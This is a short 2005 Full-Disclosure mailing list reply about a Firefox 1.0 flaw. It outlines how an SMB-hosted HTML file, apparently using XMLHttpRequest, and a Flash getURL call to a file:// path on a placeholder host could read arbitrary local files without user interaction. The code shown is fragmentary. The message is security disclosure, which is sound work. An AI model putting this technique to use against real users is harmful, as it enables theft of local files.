Re: [Full-Disclosure] Fireflashing [Firefox 1.0]
From: Jelmer Kuperus (jkuperus_at_planet.nl)
Date: Sat, 12 Feb 2005 15:25:30 +0100 To: mikx <firstname.lastname@example.org>
I took a quick 5 minute look at this, and it looks like you can read
arbitrary files with this without requiring any kind of user interaction.
Just create a file called whatever.html on a windows SMB share with this
var oXML=new XMLHttpRequest();
Now create a flash file that opens file://///SOME_IP/SHARENAME/whatever.html
(I just created an empty flash file with a single action that contained
the following line of actionscript : getURL
("file://///SOME_IP/SHARENAME/whatever.html", "_self"); )
and presto it will display the contents of c:\jelmer.txt
Full-Disclosure - We believe in it.